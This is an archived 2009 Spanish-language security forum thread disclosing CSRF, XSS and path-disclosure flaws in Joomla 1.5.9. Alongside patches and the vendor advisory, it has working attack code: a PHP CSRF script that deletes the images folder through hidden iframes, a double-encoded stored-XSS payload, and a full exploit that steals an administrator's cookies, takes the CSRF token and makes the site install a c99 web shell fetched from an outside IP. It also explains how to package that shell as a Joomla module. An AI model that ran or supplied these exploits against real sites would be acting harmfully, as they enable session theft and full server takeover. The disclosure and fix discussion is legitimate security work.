Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: WHK en 9 Febrero 2009, 23:22 pm



Título: Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
Publicado por: WHK en 9 Febrero 2009, 23:22 pm
Vulnerabilidad de tipo CSRF en Joomla! 1.5.9

He localizado una falla en Joomde tipo CSRF (Cross Site Rquest Forgery) que permite a un atacante la posibilidad de eliminar el directorio completo de imagenes lo cual sería fatál como para un sitio de noticias donde prescindisa de sus imagenes para poder dar su información. Esta falla no permite al atacante la posibilidad de subir un archivo ni eliminar los que estén fuera del directorio "/images".

La falla se localiza en el módulo de Administracion llamado "Media Manager" donde su petición GET para solicitar la eliminación de un directorio o archivo no incluye ningún Token o sistema de seguridad válido para impedir este tipo de ataques.

Prueba de concepto:
http://ejemplo.com/administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=directorio&rm[]=Imagen.jpg

El punto es que la falla se localiza en el archivo administrator/com_media/controllers/file.php en la linea 136 donde se omite el token de seguridad:

(http://www.jccharry.com/archivos_publicos/otros/joomla_csrf1.PNG)

(http://www.jccharry.com/archivos_publicos/otros/joomla_csrf2.PNG)

Un atacante necesitaría que el un usuario del sistema Joomla tenga derechos de Administración y caiga en algún tipo de engaño como una imagen falsa que redireccione hacia el borradoinicialmente del index.html que impidía ver los archivos, una ves eliminado el mismo script podría tener la capacidad de listar todos los archivos a eliminar con un segundo ataque puesto por ejemplo dos veces en una misma firma dentro de algún foro o publicación parcial del mismo sistema como editor.

Nota:
Los archivos que pueden ser eliminados no necesariamente deben ser imagenes ya que el sistema solo permite la subida de imagenes pero la eliminación de cualquier tipo de archivo.
Para poder repararlo solamente debes agregar el token de seguridad tal como aparece en la función de subida.

Fuentes:
http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
http://www.jccharry.com/blog/2009/02/09/whk_vulnerabilidad-de-tipo-csrf-en-joomla-159.html
http://forum.joomla.org/viewtopic.php?f=300&t=371705


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: berz3k en 9 Febrero 2009, 23:31 pm

hoho,  nice!, mmm que los filtros de Joomla no estan agregados? a simple vista el code es vulnerable, con el simple hecho al llamado de la funcion, uff se jode todo con el CSRF.

-berz3k.


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: alakentu en 13 Febrero 2009, 15:41 pm
Hola.

Y como logramos impedir esto?
Cual es el código a insertar/utilzar, para remediar dicha falla?

Será que soy muy bruto y ademas que no pico código que no lo veo por ningun lado!

Cual es la solución a esto hermano.?


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: alakentu en 13 Febrero 2009, 16:19 pm
Hola.

Bueno la solución es sencilla, aquí está, buscamos el archivo <b>file.php</b>, que se encuentra en:

..administrator/components/com_media/controllers

* En la línea 36 tenemos el llamado a la función upload:

Código:
        function upload()
        {
                global $mainframe;

                // Check for request forgeries
                JRequest::checkToken( 'request' ) or jexit( 'Invalid Token' );



* Debemos cambiarlo por esto:

Código:
        function upload()
        {
                global $mainframe;

                // Check for request forgeries
                JRequest::checkToken( 'request' ) or jexit(JText::_('JINVALID_TOKEN'));


* Ahora buscamos el archivo <b>folder.php</b> de esa misma carpeta.
* En la línea 57 tenemos

Código:
                          if ($path !== JFile::makeSafe($path)) {

* Cambiarlo a:

Código:
                                if ($path !== JFilterInput::clean($path, 'path')) {

Más abajo en la línea 100 tenemos:

Código:
                JRequest::checkToken() or jexit( 'Invalid Token' );

* Cambiarlo a:

Código:
                JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

* Seguimos más abajo en la línea 120 y tenemos:

Código:
                          jimport('joomla.filesystem.*');
                                JFolder::create($path);
                                JFile::write($path.DS."index.html", "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>");

* Cambiarlo a:

Código:
                          jimport('joomla.filesystem.*');
                                JFolder::create($path);
                                $file = '<html>\n<body>\n</body>\n</html>';
                                JFile::write($path.DS.'index.html', $file);

Hasta ahora eso es todo lo que pude obtener.

Saludos


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: berz3k en 13 Febrero 2009, 20:20 pm
@alakentu, la gran magia del

Código:
jexit(JText::_('JINVALID_TOKEN'));

-berz3k

PD: Voy a probar el fix


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: Dacan en 13 Febrero 2009, 20:34 pm
Muy buen aporte, lo probare en localhost.

saludos, Dacan  :D


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: invisible_hack en 13 Febrero 2009, 20:50 pm
Fantastico post, y muy bien detallado, aunque creo que seria mejor que lo reportaras a los interesados por privado y luego una vez corregido el bug lo explicases, mas que nada para evitar malos usos de esta información....


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: WHK en 13 Febrero 2009, 22:44 pm
Pero este no sería subforo de bugs y exploits sin el exploit XD
Código
  1. <?php
  2. // Joomla 1.5.9 Eliminacion arbitraria del directorio de imagenes por WHK
  3. // http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
  4. $WEB_VULNERABLE = 'http://www.ejemplo.com/';
  5. if(!$archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
  6. echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>';
  7. ob_get_contents(); // Desplegamos el iframe y causamos una interrupcion...
  8. sleep(5); // Damos unos 5 segundos para que se elimine el index.html que protege al directorio
  9. }
  10. // Continuamos con el plan...
  11. if($archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
  12. /* Creamos los iframes que forzaran la eliminacion de todos los archivos de una sola vez */
  13. foreach($archivos as $valor){
  14. // Reconociendo si es archivo o directorio
  15. if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; }
  16. echo '<iframe src="'.
  17. $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo
  18. .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor)
  19. .'" width="1" height="1" frameborder="0"></iframe>';
  20. }
  21. }
  22. function obtener_archivos($url){
  23. $buffer = explode(']"> <a href="', file_get_contents($url));
  24. foreach($buffer as $item=> $valor){
  25.  if($item != '0'){ // Procesa solamente links
  26.   $temporal = explode('"', $valor);
  27.   $retorno[count($retorno)] = $temporal[0];
  28.  }
  29. }
  30. return $retorno;
  31. }
  32. ?>

Metes este php dentro de un iframe por ahi en una web y le dices al administrador que la visualize :p pero está mas que claro que estoy demostrando el esenario de un atacante para que puedan comprender como protegerse, por ejemplo no aceptando todo tipo de links que vean, navegar sin scripts o con no-script para blokear esos dichosos iframes, nunca ver otros sitios webs con el usuario de administracion logueado, etc etc.

PD: alakentu bienvenido al foro.


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: alakentu en 13 Febrero 2009, 23:29 pm
De hecho...

La vulnerabilidad se presenta en varios archivos y no solamente en file.php y default.php del com_media.

Hay otros componentes de joomla 1.5.9 que poseen la misma característica de "permiso" a los malos, para que puedan darnos un mal día.

Recomeindo amplaimente seguir de creca los cambios en joomla a travez de Joomla Code.

Saludos.


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: WHK en 15 Febrero 2009, 04:40 am
Vulnerabilidad de tipo XSS en Joomla! 1.5.9

Bueno, además del CSRF (http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html) que habia encontrado anteriormente me topé con este nuevo bug buscando en las opciones de Administración. El componente afectado es el com_admin en la sección sysinfo como en el siguiente ejemplo:

Citar
http://www.ejemplo.com/portada/administrator/index.php?option=com_admin&task=sysinfo

El XSS se produce cuando se procesa el User-Agent del explorador declarado en las cabezeras:

(http://imgcash2.imageshack.us/Himg144/scaled.php?server=144&filename=dibujokw5.png&xsize=500&ysize=500) (http://img144.imageshack.us/img144/1456/dibujokw5.png)

Imagen en tamaño completo: http://img144.imageshack.us/img144/1456/dibujokw5.png

Ahora si esto lo pasamos al javascript podremos tomar el valor del token y enviar peticiones POST via ajax para crear superadministradores o hacer cambios en cualquier configuración, con esto solo bastaría subir un mod con una shell y sería todo para el administrador.

La desventaja para el atacante es que la explotación de un XSS via User-Agent solo era posible debido a fallas encontradas en flash tal como lo muestran en los siguientes enlaces:
http://sla.ckers.org/forum/read.php?2,14534
http://ha.ckers.org/blog/20070712/user-agent-spoofable-using-certain-programming-languages/
http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html

Pero hoy en dia no conozco ninguna forma de realizar dicha explotación, pero con el tiempo hemos aprendido de que nada es imposibles y cada dia aparecen nuevas formas de hacer las cosas, hasta entonces este bug queda en manos de los chicos 0days  :P una vez realizado esto las posibilidades de explotar la falla son muchisimas y podrías hasta comprometer el servidor por completo pero como decía, esto está dificil de explotar.

De todas formas no deja de ser un bug y espero que Joomla pueda repararlo ya que en un futuro nadie sabe si se encontrará la forma de modificar dichas cabezeras y sería todo para los administradores de este sistema.

La falla está en el archivo administrator/com_admin/tmpl/sysinfo_system.php Linea 93
Código
  1. <?php echo phpversion() <= "4.2.1" ? getenv( "HTTP_USER_AGENT" ) : $_SERVER['HTTP_USER_AGENT'];?>
Modificar por:
Código
  1. <?php echo phpversion() <= "4.2.1" ? htmlspecialchars(getenv( "HTTP_USER_AGENT" ), ENT_QUOTES) : htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES);?>

De todas formas veo que casi ningún dato va con escape de carácteres HTML, que pasaría si algún otro valor contiene carácteres especiales tambien? yo me aseguraría y modificaría cada salida de datos por htmlspecialchars($buffer, ENT_QUOTES).

Fuente:
http://forum.joomla.org/viewtopic.php?f=300&t=371705&start=0

PD: conviné los post que habia hecho sobre joomla y los hize uno solo para que estubiera todo mas organizado y no hacer un tema cada ves que se encuentre alguna falla de esta version de joomla.


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: WHK en 15 Febrero 2009, 05:40 am
CSRF en el Componente "Installer"

Bueno ya encontré otra falla  :P pero como todas las demás es poco probable su explotación inmediata pero posiblemente futura.
Esta ves es un CSRF en el componente "Installer" donde el paquete ya sea plugin o módulo se sube e instala sin ningún tipo de Token de seguridad por lo cual si logras encontrar un CSRF en un <imput type="file"> podrás causar la instalación arbitraria de componentes, plantillas, módulos etc, incluso hasta podrías subir tu propia shell.

Citar
http://www.ejemplo.com/portada/administrator/index.php

POST /portada/administrator/index.php HTTP/1.1
Host: www.ejemplo.com
User-Agent: Mozilla/5.0 (es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.ejemplo.com/portada/administrator/index.php?option=com_installer
Cookie: Oculta
Authorization: Oculta
Content-Type: multipart/form-data; boundary=---------------------------169443243924626
Content-Length: 1022
-----------------------------169443243924626
Content-Disposition: form-data; name="install_package"; filename="test.zip"
Content-Type: application/zip


HTTP/1.x 200 OK
Date: Sun, 15 Feb 2009 04:37:57 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.8
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Encoding: gzip
X-Content-Encoded-By: Joomla! 1.5
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Sun, 15 Feb 2009 04:38:10 GMT
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
----------------------------------------------------------
Y donde está el token nuevamente????

Talves la gente que vea estos post dirán que ando mal del mate (mal de la cabeza) porque este tipo de fallas hoy en dia no son explotables o por lo menos no por alguna técnica pública pero algún dia aparecerán y el dia en que esto suceda joomla será unos de los primeros candidatos para la explotación de estas múltiples fallas.


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: WHK en 15 Febrero 2009, 07:12 am
XSS Permanente en el componetne "Search"

Un amigo por el mensajero me comentaba sobre algunas personas que se dedican a la programación que dicen "como es inexplotable no se parcha" y es entendible, si ves un bug que para ti es inexplotable lo mas probable es que no lo repares porque supuestamente no tiene ningún riesgo hasta que aparece la gente que si lo logra entonces recién lo reparan. En este caso creo que es similar ya que en el componente search dentro del panel de administración se puede ver el historial de busqueda y me llevé la sorpresa de que este no filtra ningún carácter y me pregunté.. "¿Porque??" entonces mejor comenzé a instalar joomla en mi localhost para ya no seguir desmadrando mi sitio  :P y pude comprobar que el componente Search de la portada o sea el que ve el visitante ya tiene un filtro el cual elimina todos los caácteres después del "<" por lo tanto pensando como el codeador "esto es inexplotable así que no nos preocupamos por mostrar el historial de busquedas en la administración poniendo ningún filtro", pero que pasa si logro evadir ese filtro? puedo comprometer al administrador? la respuesta es si y eso fue lo que sucedió.

Citar
%3c%53%43%72%49%70%54%20%78%3d%78%3e%61%6c%65%72%74%28%30%30%30%30%30%29%3c%2f%73%43%72%49%70%54%3e
Esto equivale a
Citar
<SCrIpT x=x>alert(00000)</sCrIpT>
Lo ponemos dentro de la caja del buscador y nos enviará directamente al formulario del buscador avanzado con esta busqueda sin ser filtrada, ahora cuando el joomla tiene petysurl activado lo hace via petición GET y no POST así que hay que doble encodear cada carácter, por ejemplo:
Citar
http://127.0.0.1/joomla/index.php?searchword=%253c%2553%2543%2572%2549%2570%2554%2520%2578%253d%2578%253e%2561%256c%2565%2572%2574%2528%2530%2530%2530%2530%2530%2529%253c%252f%2573%2543%2572%2549%2570%2554%253e&ordering=newest&searchphrase=all&option=com_search
Con esto ya el administrador podrá ver en su hermoso historial su XSS:
Citar
http://127.0.0.1/joomla/administrator/index.php?option=com_search

(http://imgcash2.imageshack.us/Himg443/scaled.php?server=443&filename=dibujo2zq7.png&xsize=500&ysize=500) (http://img443.imageshack.us/img443/9854/dibujo2zq7.png)
Tamaño original: http://img443.imageshack.us/img443/9854/dibujo2zq7.png

Mientras tanto que aparece el parche o actualización de joomla puedes desactivar el historial del buscador.

Ya con todo esto como que estamos listos para crear nuestro exploit con token y todo, hacemos un php que lanze una petición POST al buscador y seguidamente lanzamos la redirección hacia el componente afectado para causar la ejecución arbitraria, luego el xss llamará a un archivo de javascript alojado en otro servidor que realizará las acciones y estas serán obtener el token de seguridad y agregar un nuevo superadministrador para nosotros, seguido por la creación de un componente con una shell c99 incrustada para ganar el acceso total al servidor y si es posible rootearlo dependiendo de la versión del mismo y el estado de seguridad que pueda tener.

Voy a ir preparando los archivos para explicar paso por paso como hacerlo. Hasta la prox.


Título: Re: Múltiples fallas en Joomla 1.5.9
Publicado por: WHK en 15 Febrero 2009, 17:52 pm
Encontré varios file disclosure en caso de que puedas tener acceso a la administración y necesites saber la ruta exacta del script.
Subes un archivo zip vacio al instalador de paquetes y te debuelve algo como esto:
Citar
Warning: zip_read() expects parameter 1 to be resource, integer given in /var/www/public_html/portada/libraries/joomla/filesystem/archive/zip.php on line 234

PD: Me acaban de borrar el tema en el foro de joomla y les mandé un tracker pero no lo publicaron, será que no quieren que la gente sepa de la falla de seguridad hasta que salga el parche oficial? y hace tres dias que lo mandé a milw0rm y tampoco me han hecho caso jaja bueno, que cosas. Si sienten que estoy peinando la muñeca (http://www.mainframe.cl/diccionario/diccionario.php?palabra=Peinando+la+mu%F1eca&accion=Buscar) me avisan XD


Título: Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9
Publicado por: JosS__! en 25 Febrero 2009, 16:03 pm
Muy buen post WHK, la verdad es que siempre gusta testear los CMS más usados y conocer sus fallas.

Pero en último bug que publicaste (arriba de este post) nombras file disclosure, y yo no veo la existencia de esa vulnerabilidad. En todo caso PATH DISCLOSURE.

Que por cierto, en su día publique algo parecido para LOKICMS.

LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit
http://milw0rm.com/exploits/6737


Saludos!!


Título: Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9
Publicado por: WHK en 26 Febrero 2009, 03:27 am
Si, tienes razón no es file disclosure sino path disclosure  :P

Citar
LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit
http://milw0rm.com/exploits/6737
Tu tienes suerte  :P no se porqué pero sty0ke no publicó el bug de joomla 1.5.9 pero bueno, que le vamos a hacer. Ultimamente he estado mas censurado que pelicula porno en jardin infantil.


Título: Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9
Publicado por: JosS__! en 26 Febrero 2009, 15:39 pm
Citar
Tu tienes suerte  :P no se porqué pero sty0ke no publicó el bug de joomla 1.5.9 pero bueno, que le vamos a hacer. Ultimamente he estado mas censurado que pelicula porno en jardin infantil.

jaja bueno ... a mi también me han rechazado más de un bug, pero esto se debe a que no se puede publicar cualquier fallo, ya que muchos carecen de importancia. En tu caso, con el bug de path disclosure yo lo veo lógico que no te lo publicaran ya que para poder explotarlo debes tener acceso al panel de admin, y desde luego con acceso al panel seguro que hay distintas formas de mirar el PATH completo de cms y muchas cosas más interesantes que esta. Sin embargo, si se pudiera llevar con éxito esa misma vulnerabilidad sin permisos de admin, estoy seguro de que lo publicarían.

Pero desde luego, como ejemplo para los aprendices es un estupendo PoC para testear.

Saludos!


Título: Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9
Publicado por: WHK en 27 Febrero 2009, 03:25 am
Bueno, el que envié a milw0rm fue el xss persistente en el buscador pero naa, hagan lo que quieran, al final ni se publicó ni se solucionó, cuando alguien comienze a desmadrar sitios con joomla entonces ahi si se van a preocupar.

Por ahi alguien me nombró el termino del "Quemeimportismo".


Título: Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9
Publicado por: WHK en 23 Marzo 2009, 03:36 am
Lo prometido es deuda..
Hize un video y un exploit pero que hace?, solamente haces que un usuario con derechos de administración visualiza este script para que se le suba automaticamente una shell c99 eso es todo y al finalizar el script te deja un log diciendote si falló o donde quedó finalemnte la shell.
Lo único que deben modificar es la ruta del paquete de joomla que contiene la shell (ya les mostraré como fabricarlo) y la ruta del sistema vulnerable.

Código
  1. <?php
  2.  
  3. $EXPL['SITIO_VULNERABLE'] = 'http://127.0.0.1/joomla/'; // Web vulnerable
  4. $EXPL['URL_COM_SHELL'] = 'http://201.223.24.232:81/mod_arkimest.zip'; // La shell
  5.  
  6. $EXPL['XSS'] = '<script '.
  7. 'src="http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?act=js" ></script>';
  8.  
  9. if($_GET['act'] == 'js'){
  10. die('
  11. // Acá tu laaaargo script
  12.  
  13. var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  14. function base64_encode(input){
  15.  var output = "";
  16.  var chr1, chr2, chr3;
  17.  var enc1, enc2, enc3, enc4;
  18.  var i = 0;
  19.  do{
  20.   chr1 = input.charCodeAt(i++);
  21.   chr2 = input.charCodeAt(i++);
  22.   chr3 = input.charCodeAt(i++);
  23.   enc1 = chr1 >> 2;
  24.   enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  25.   enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  26.   enc4 = chr3 & 63;
  27.   if(isNaN(chr2)){
  28.    enc3 = enc4 = 64;
  29.   }else if(isNaN(chr3)){
  30.    enc4 = 64;
  31.   }
  32.   output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4);
  33.  }while(i < input.length);
  34.  return output;
  35. }
  36.  
  37. window.location.href="http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?act=galletas&sabor=" + base64_encode(document.cookie);
  38. ');
  39.  
  40. }elseif($_GET['act'] == 'galletas'){
  41. if(!$cookies = base64_decode($_GET['sabor'])) die('<strong>No hay galletas ni chocolates :(</strong>');
  42. $buffer = http_get($EXPL['SITIO_VULNERABLE'].'/administrator/index.php?option=com_installer', $cookies);
  43. $buscar = explode('hidden" name="', $buffer);
  44. foreach($buscar as $encontrado){
  45.  $encontrado = explode('"', $encontrado);
  46.  $encontrado = $encontrado[0];
  47.  if(strlen($encontrado) == 32){
  48.   $hash = $encontrado;
  49.   break;
  50.  }
  51. }
  52. $buffer = http_post(
  53.  $EXPL['SITIO_VULNERABLE'].'/administrator/index.php', $cookies,
  54.  $hash.'=1&install_url='.urlencode($EXPL['URL_COM_SHELL']).'&installtype=url&task=doInstall&option=com_installer&'
  55. );
  56. if(eregi('200 OK', http_get($EXPL['SITIO_VULNERABLE'].'/modules/mod_artimesk/mod_artimesk.php'))){
  57.  // Explotación ejecutada con éxito! la shell está en /modules/mod_artimesk/mod_artimesk.php
  58.  header('Explotado-por: WHK');
  59.  $explotado = true;
  60. }else{
  61.  // La explotación ha fallado.
  62.  $explotado = false;
  63. }
  64. if($archivo_handle = fopen('log_('.date('Y.m.d.H.i.s').')_.txt', 'x')){
  65.  if($explotado){
  66.   fwrite($archivo_handle, 'La shell ha sido obtenida exitosamente!. URL: '.$EXPL['SITIO_VULNERABLE'].'/modules/mod_artimesk/mod_artimesk.php'."\x0D\x0A");
  67.   header('location: https://foro.elhacker.net/nivel_web/multiples_fallas_csrf_xss_directoindirecto_en_joomla_159-t244742.0.html');
  68.  }else{
  69.   fwrite($archivo_handle, 'El sitio '.$EXPL['SITIO_VULNERABLE'].' no pudo ser explotado debido a que la versión de joomla no es compatible o el administrador no tenía acceso a su rpopio sitio web.'."\x0D\x0A");
  70.   header('location: http://noscript.net/');
  71.  }
  72.  fclose($archivo_handle);
  73. }
  74. exit($explotado);
  75. }
  76.  
  77. // Ejecuta el código javascript arbitrario
  78. $pedir = $EXPL['SITIO_VULNERABLE'].'/index.php?searchword='.urlencode(urlencode($EXPL['XSS'])).'&ordering=&searchphrase=all&option=com_search';
  79. if(http_get($pedir, 'null[]=token')){
  80. header('location: '.$EXPL['SITIO_VULNERABLE'].'administrator/index.php?option=com_search');
  81. }else{
  82. die('hola :-s');
  83. }
  84.  
  85. function http_post($url, $cookies, $postdata){
  86. $timeout = 100;
  87. $ch = curl_init($url);
  88. curl_setopt($ch, CURLOPT_POST, true);
  89. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  90. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
  91. curl_setopt($ch, CURLOPT_TIMEOUT, (int)$timeout);
  92. curl_setopt($ch, CURLOPT_HEADER, true);
  93. curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
  94. curl_setopt($ch, CURLOPT_COOKIE, $cookies);
  95. $contenido = curl_exec($ch);
  96. $error = curl_error($ch);
  97. curl_close($ch);
  98. if($contenido)
  99.  return $contenido;
  100. else
  101.   return $error;
  102. }
  103.  
  104. function http_get($url, $cookies){
  105. $timeout = 100;
  106. $ch = curl_init($url);
  107. curl_setopt($ch, CURLOPT_POST, false);
  108. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  109. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
  110. curl_setopt($ch, CURLOPT_TIMEOUT, (int)$timeout);
  111. curl_setopt($ch, CURLOPT_HEADER, true);
  112. curl_setopt($ch, CURLOPT_COOKIE, $cookies);
  113. $contenido = curl_exec($ch);
  114. $error = curl_error($ch);
  115. curl_close($ch);
  116. if($contenido)
  117.  return $contenido;
  118. else
  119.   return $error;
  120. }
  121.  
  122. ?>

Como crear el Componente con la shell dentro?

mod_artimesk.xml
Código
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <install type="module" version="1.0.0">
  3. <name>WHK Arkimest</name>
  4. <author>WHK</author>
  5. <creationDate>March 2009</creationDate>
  6. <copyright>Copyright (C) WHK 2009. All rights reserved.</copyright>
  7. <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  8. <authorEmail>www.kernel32@gmail.com</authorEmail>
  9. <authorUrl>foro.elhacker.net</authorUrl>
  10. <version>1.0.0</version>
  11. <description>Artimesk</description>
  12. <files>
  13. <filename module="mod_artimesk">mod_artimesk.php</filename>
  14. </files>
  15. </install>
  16.  
Donde dice "mod_artimesk.php" es el archivo que lleva la shell.

mod_artimesk.php
Código
  1. <?php /* acá mi shell */ ?>
Puedes poner lo que quieras o puedes usar directamente una shell c99 renombrada a mod_artimesk.php tal como esta: http://www.geocities.com/zkizzik/c99.txt

Toma esos dos archivos y guardalo en zip y ya tienes tu módulo shell para joomla ^^

VIDEO
C-J15H8FT5w

Ver video en tamaño completo:
http://lab.jccharry.com/joomla/xss2shell159/


Título: Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9
Publicado por: Novlucker en 23 Marzo 2009, 03:49 am
Interesante  :P, he visto el video y solo puedo decir una cosa, tu si sabes elegir la música de fondo  ;-)

Saludos


Título: Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9
Publicado por: WHK en 26 Marzo 2009, 03:34 am
Me ha llegado un correo desde Joomlacode.org y al parecer si les ha dolido un poco el video porque acaban de reabrir el tema que les habia enviado en el tracker donde exponía todo esto, al parecer en ese entonces no le dieron para nada importancia ya que hasta lo habian cerrado pero ahora después del video lo acaban de reabrir sin acceso a la totalidad del público y lo clasificaron como alto impacto XD

Citar
Joomla 1.5.X item #15065, was opened at 2009-02-15 12:02:16

Priority: 3
Submitted By: zkizzik zkizzik (zkizzik)
> >Assigned to: Anthony Ferrara (ircmaxell)
Summary: Múltiples fallas - CSRF, XSS, Path disclosure
> >Joomla Version: 1.5.9
> >Impact: High
Status: Open
> >Source: http://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159-t244742.0.html

> >Severity: Moderate
> >Duration (Days):
Estimated Effort (Hours):
Percent Complete (0-100):


Initial Comment:
http://forum.joomla.org/viewtopic.php?f=300&t=371705
http://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159-t244742.0.html

En estos dos enlaces expuse las múltiples fallas que pude encontrar y no se cuantos mas pueda ver pero al parecer hay bastantes mas que siguen con el mismo criterio.
Escribir una por una en este lugar creo que sería mucho por eso puse los enlaces.

  • CSRF en el componente "Media"
  • XSS Reflejado en el componente "Administrator" sobre task=sysinfo
  • CSRF en el Componente "Installer"
  • XSS Permanente en el componetne "Search"
  • File Disclosure en el componente "Installer"

http://img443.imageshack.us/img443/9854/dibujo2zq7.png
http://img144.imageshack.us/img144/1456/dibujokw5.png

etc..

----------------------------------------------------------------------

You can respond by visiting:
http://joomlacode.org/gf/project/jsecurity/tracker/?action=TrackerItemEdit&tracker_id=7925&tracker_item_id=15065
Or by replying to this e-mail entering your response between the following markers:

#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+
(enter your response here)
#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+

----------------------------------------------------------------------

Follow-Ups:

-------------------------------------------------------
Date: 2009-03-25 12:25:18
By: Anthony Ferrara

Comment:
Patch Attached

El tracker está acá
http://joomlacode.org/gf/project/jsecurity/tracker/?action=TrackerItemEdit&tracker_id=7925&tracker_item_id=15065
tal como lo dice el correo pero al ingresar me deniega el acceso  :P
Citar
Página de Inicio » Permission Denied
Permission Denied

Por lo menos ahora si van a  pensar en repararlo.


Título: Re: Múltiples fallas (CSRF, XSS directo/indirecto) en Joomla 1.5.9
Publicado por: AlbertoBSD en 26 Marzo 2009, 19:49 pm
Muy bueno para que no se anden con rodeos de no reparar errores por mínimos que sean.

Felicidades, y por cierto que la musica de fondo del video esta genial.

Saludos


Título: Re: Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
Publicado por: WHK en 28 Marzo 2009, 18:20 pm
Me ha llegado el correo con la actualización.

Sistema actualizado y los problemas corregidos (por el momento). creo que con esto concluye este post, si alguien tiene dudas co cosas relacionadas puede postearlo con toda libertad.
Citar
Joomla! Security News
   

[20090302] - Core - com_content XSS

Posted: 25 Mar 2009 10:08 AM PDT

    * Project: Joomla!
    * SubProject: com_content
    * Severity: Low
    * Versions: 1.5.9 and all previous 1.5 releases
    * Exploit type: XSS
    * Reported Date: 2009-March-12
    * Fixed Date: 2009-March-27

Description

A XSS vulnerability exists in the category view of com_content.
Affected Installs

All 1.5.x installs prior to and including 1.5.9 are affected.
Solution

Upgrade to latest Joomla! version (1.5.10 or newer).
Contact

The JSST at the Joomla! Security Center.

[20090301] - Core - Multiple XSS/CSRF

Posted: 25 Mar 2009 10:02 AM PDT

    * Project: Joomla!
    * SubProject: Multiple
    * Severity: Moderate
    * Versions: 1.5.9 and all previous 1.5 releases
    * Exploit type: XSS and CSRV
    * Reported Date: 2009-February-15
    * Fixed Date: 2009-March-27

Description

A series of XSS and CSRF faults exist in the administrator application.  Affected administrator components include com_admin, com_media, com_search.  Both com_admin and com_search contain XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities. 
Affected Installs


All 1.5.x installs prior to and including 1.5.9 are affected.  The com_search XSS vulnerability requires that "Gather Search Statistics" be enabled to be exploitable (Disabled by default).
Solution

Upgrade to latest Joomla! version (1.5.10 or newer).
Contact

The JSST at the Joomla! Security Center.
You are subscribed to email updates from Joomla! Developer - Vulnerability News
